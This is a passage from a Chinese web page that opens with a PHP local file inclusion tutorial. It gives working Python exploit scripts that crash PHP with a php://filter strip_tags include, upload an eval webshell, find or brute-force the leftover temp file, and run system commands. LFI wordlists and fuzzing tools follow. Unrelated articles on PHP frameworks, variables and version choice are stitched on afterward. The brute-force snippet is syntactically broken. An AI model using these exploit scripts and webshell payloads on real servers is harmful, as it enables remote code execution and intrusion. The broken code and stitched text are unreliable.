这种包含会导致php执行过程中出现segment fault,此时上传文件,临时文件会被保存在upload_tmp_dir所指定的目录下,不会被删除,这样就能达成getshell的目的。

代码环境

测试代码

漏洞利用

攻击载荷php segment fault

index.php?file=php://filter/string.strip_tags/resource=index.php

攻击利用-技巧1编写Exp

dir.php辅助查找生成的临时文件

Linux攻击环境

#python version 2.7import requestsfrom io import BytesIOimport refiles = {'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)url2 = 'http://192.168.68.119/dir.php?dir=/tmp/'r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"url3='http://192.168.68.119/index.php?file=/tmp/'+datadata = {'Qftm':"system('whoami');"}r = requests.post(url=url3,data=data)print r.content

windows攻击环境

#python version 2.7import requestsfrom io import BytesIOimport refiles = {'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)url2 = 'http://192.168.68.119/web/fi/dir.php?dir=C:/Windows/'r = requests.get(url2)data = re.search(r"php[a-zA-Z0-9]{1,}", r.content).group(0)print "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"url3='http://192.168.68.119/web/fi/index.php?file=C:/Windows/'+data+'.tmp'data = {'Qftm':"system('whoami');"}r = requests.post(url=url3,data=data)print r.content

运行脚本即可Getshell

然后查看服务器上恶意临时文件,确实存在未被删除!!

攻击利用-技巧2暴力破解

假如没有dir.php还能利用吗,答案是可以的,因为我们传入的恶意文件没有被删除,这样我们就可以爆破这个文件的文件名。

在上面的讲述中,我们知道不同的系统默认的临时文件存储路径和方式都不一样

Linux

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符])

windows

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp)

对比Linux和Windows来看,Windows需要破解的位数比Linux少,从而Windows会比Linux破解速度快,位数越长所需要耗费的时间就越大。

查看载荷攻击效果

#python version 2.7import requestsfrom io import BytesIOfiles = {'file': BytesIO('<?php eval($_REQUEST[Qftm]);')}url1 = 'http://192.168.68.119/web/fi/index.php?file=php://filter/string.strip_tags/resource=index.php'r = requests.post(url=url1, files=files, allow_redirects=False)########################暴力破解模块########################url2='http://192.168.68.119/web/fi/index.php?file=C:/Windows/php'+{fuzz}+'.tmp&Qftm=system('whoami');'data = fuzzprint "++++++++++++++++++++++"print dataprint "++++++++++++++++++++++"########################暴力破解模块########################

对于暴力破解模块,可以自己添加多线程模块进行暴力破解,也可以将暴力破解模块拿出来单独进行fuzz,推荐使用fuzz工具进行fuzz测试,fuzz工具一般都包含多线程、自定义字典等,使用起来很方便,不用花费时间去编写调试代码。

个人比较喜欢使用Fuzz大法,不管是目录扫描、后台扫描、Web漏洞模糊测试都是非常灵活的。

推荐几款好用的Fuzz工具

基于Go开发:gobuster https://github.com/OJ/gobuster基于Java开发:dirbuster OWASP杰出工具 kali自带基于Python开发:wfuzz https://github.com/xmendez/wfuzz

fuzz测试,配置参数,我这里使用的是Kali自带的 dirbuster进行模糊测试

参数设置好之后,开始进行测试

经过一段时间的破解,即可得到上传的临时文件的文件名,同时可以在响应包中看到后门文件的恶意代码也正常解析执行。

字典项目

分享一些文件包含、任意文件读取漏洞中常见的文件字典,使用字典结合burp可以方便的探索目标服务器上的敏感文件。

https://github.com/Team-Firebugs/Burp-LFI-testshttps://github.com/ev0A/ArbitraryFileReadListhttps://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion/Intruders

防御方案

文件权限的的管理尽量不使用动态包含对危险字符进行过滤配置open_basedir限制文件包含范围检查include类的文件包含函数中的参数是否外界可控设当设置allow_url_include=Off和allow_url_fopen=Off在发布应用程序之前测试所有已知的威胁关联文章:

PHP文件包含漏洞利用思路与Bypass总结手册(一)

PHP文件包含漏洞利用思路与Bypass总结手册(二)

PHP文件包含漏洞利用思路与Bypass总结手册(三)

渗透测试训练营

掌握渗透测试岗位9大核心知识体系,提升自身岗位竞争力

40+实战训练及考核,提升动手操作能力

胜任渗透测试工程师岗位功能能力

展开
收起

PHP常用框架有哪些

框架其实就是可重用代码的集合,框架的代码是框架架构的代码,不是业务逻辑代码,框架代码保护类.方法.函数等等,框架代码按照一定的规则组合起来就形成了框架。

1、zendframwork: (ZF)是Zend公司推出的一套PHP开发框架。

功能非常的强大,是一个重量级的框架,ZF 用 100% 面向对象编码实现。 ZF 的组件结构独一无二,每个组件几乎不依靠其他组件。这样的松耦合结构可以让开发者独立使用组件。 我们常称此为 “use-at-will”设计。

2、Yii由国人开发的重量级的框架,这个框架把代码的可重用性发挥到极致。

Yii是一个高性能的PHP5的web应用程序开发框架。通过一个简单的命令行

PHP框架

工具 yiic 可以快速创建一个web应用程序的代码框架,开发者可以在生成的代码框架基础上添加业务逻辑,以快速完成应用程序的开发。

3、CakePHP是国外的框架.

CakePHP是一个运用了诸如ActiveRecord、Association Data Mapping、Front Controller和MVC等著名设计模式的快速开发框架。

该项目主要目标是提供一个可以让各种层次的PHP开发人员快速地开发出健壮的Web应用,而又不失灵活性

4.Symfony,是一套国外的PHP开源框架。

简单的模板功能symfony是一个开源的PHP Web框架。基于最佳Web开发实践,已经有多个网站完全采用此框架开发,symfony的目的是加速Web应用的创建与维护。 它的特点如下:缓存管理 、自定义URLs、搭建了一些基础模块、多语言与I18N支持、采用对象模型与MVC分离、Ajax支持、适用于企业应用开发。

5、CodeIgniter(CI)轻量级框架,运行速度快。

CodeIgniter 是一个简单快速的PHP MVC 框架。

它为组织提供了足够的自由支持,允许开发人员更迅速地工作。使用 CodeIgniter 时,您不必以某种方式命名数据库表,也不必根据表命名模型。这使 CodeIgniter 成为重构遗留 PHP 应用程序的理想选择,在此类遗留应用程序中,可能存在需要移植的所有奇怪的结构。

6、CanPHP框架是一个简洁,实用,高效,遵循apache协议的php开源框架。

它既可以完美的支持MVC模式,又可以不受限制的支持传统编程模式。它是一个轻量级的php框架,同时也是一个实用的php工具 包。以面向应用为主,不纠结于OOP,不纠结于MVC,不纠结于设计模式,不拘一格,力求简单快速优质的完成项目开发,是中小型项目开发首选。

7、Laravel 是一个简单优雅的 PHP web 开发框架,将你从意大利面条式的代码中解放出来。通过简单的、表达式语法开发出很棒的 Web 应用。

在Laravel中已经具有了一套高级的PHP ActiveRecord实现 -- Eloquent ORM。它能方便的将“约束(constraints)”应用到关系的双方,这样你就具有了对数据的完全控制,而且享受到ActiveRecord的所有便利。Eloquent原生支持Fluent中查询构造器(query-builder)的所有方法。

8、SlimFramework是一个简单的 PHP5 框架用来创建 RESTful 的 Web 应用。

可以帮助你快速编写简单功能强大的 RESTful 风格的web应用程序 和APIs。Slim很简单,可以让新手和专业人士使用。

9、ThinkPHP是一个快速、简单、面向对象的轻量级PHP开发框架。

遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

10、PHPUnit是一个轻量级的PHP测试框架。

它是在PHP5下面对JUnit3系列版本的完整移植。这个工具也可以被Xdebug扩展用来生成代码覆盖率报告 ,并且可以与phing集成来自动测试,最合它还可以和Selenium整合来完成大型的自动化集成测试。

11、KYPHP支持多数据库,多语言,多模版,多app,多缓存,多编码格式,模板布局,自定义类,自动加载公共类库。

KYPHP已应用于许多大项目中,在同一程式中可同时管理多个数据库源,管理多个缓存,并支持复杂的目录结构。从2.1开始kyphp又极大的增强了安全性,可有效防止sql注入,xss等常见安全问题。

12、initPHP是一款轻量级的php开发框架。

采用分层体系架构,适合大中型网站架构。提供丰富的library类库,以及简单的框架扩展机制,InitPHP还提供详细的开发文档,可以让您在使用该框架的时候更加简单实用。 InitPHP实现了抽象DB层、分层体系架构、缓存无缝切换机制、简单模板机制、多模型部署机制、强大的安全体系,是快速开发php应用的利器。

13、SpeedPHP是一款全功能的国产PHP应用框架系统。

SpeedPHP框架是从实际运行的商业系统中取其精华而成的,在稳定性和运行速度上都非常出色;同时有着清晰的架构,更有利于提高团队开发效率,教程众多,入门容易,号称最适合初学者的PHP框架,快速带你进入PHP高手的行列。

展开
收起

php如何使用变量(入门3)

php是世界上最好的语言

php的环境搭建好了之后,我们就可以写代码了。

一:如何新建PHP文件。

上一节介绍怎么搭建环境,现在接着在环境目录www(根目录)下面新建一个php文件。新建一个记事本文件,然后后缀修改成php结尾。

新建txt文件,然后修改成php结尾

二:变量?

1:变量是用$美元符号表示的,后面接着英文单词,或者汉语拼音都可以,为了方别可读性最好用英文单词表示。

2:变量是什么呢,变量好比是一个空箱子,用来临时存放数据的。$name='zhangsan';意思是把zhangsan赋值给$name,中间的=是赋值的意思,不是等于号。你给变量什么值,他就是什么什么值,随时可以改变。

$name='zhangsan';

$name='lisi';

开始给$name这个变量赋值为zhangsan,那么$name就是zhangsan,后面又$name='lisi',那么$name就不再是zhangsan了,现在是lisi了。现在就明白了,变量的值是会变得,你给他赋值什么,就变成什么值。

3:至于环境变量,魔法变量,静态变量。这些后面再讲,先入门。

4:我们现在就会写变量了,就是$符合后面跟着英文单词或者字母,名字随便取。

5:官方的变量名规则,可以参考,我讲的比较通俗。

PHP 变量规则:

变量以 $ 符号开始,后面跟着变量的名称变量名必须以字母或者下划线字符开始变量名只能包含字母数字字符以及下划线(A-z、0-9 和 _ )变量名不能包含空格变量名是区分大小写的($y 和 $Y 是两个不同的变量)6:在PHP标签里面写标量,下面是案例。

<?php

$txt="Hello world!";

$x=5;

$y=10.5;

?>

展开
收起

php版本升级?php哪个版本好?

嗯哼,刚开始也不懂php是什么鬼。后来懂了,原来是一种环境语言,服务器和虚拟主机都需要它,必然是需要的。而本人一直以来心中有个疑惑,PHP版本是不是越高越稳定,越高就越好呢?在一般情况下,版本越新越好,就拿wordpress来说在PHP7.0环境下比之前的版本速度提升在3倍左右,3倍,3倍,3倍哦!飞起来了!

目前,PHP最高版本是7.2.x.x,然而我们一般使用的还是php5.5.x或者是Php5.6.x,甚至还有相当一部分使用的PHP5.3.X,PHP5.4.X版本。主要还是很多程序都不支持新的PHP版本,特别是一些很久没有更新的程序,只支持PHP5.2.X系列版本,到底选择什么版本,还得取决于您使用的什么程序以及相应的模板,而不是盲目的追求过高的版本。如果要兼容更多的程序,建议使用PHP5.5.X版,如果要追求更高的性能,推荐PHP5.6.X甚至PHP7.0系列。

目前wordpress程序很够非常完美的支持php7.0,然而部分没有更新的模板在7.0下有很多的问题,因此建议使用wordpress程序的伙伴在选择PHP7.0版本的时候特别要注意自己使用的模板以及插件是否兼容哦,如果是商业模板建议咨询作者,不要盲目的进行升级与替换。

目前本人使用的是bt系统,里面PHP版本可以自行下载各个版本,自行组合,由于模板等方面因素使用的是PHP5.6,和PHP7.0。所以在这里提醒各位不要盲目的追求过高的版本,根据自己程序最佳的PHP环境进行配置与选择哦,越新的版本,刚开始的BUG也是比较多,稳定性方面也可能打折扣的哦,老版本,毕竟经过了长时间的检验哦。

展开
收起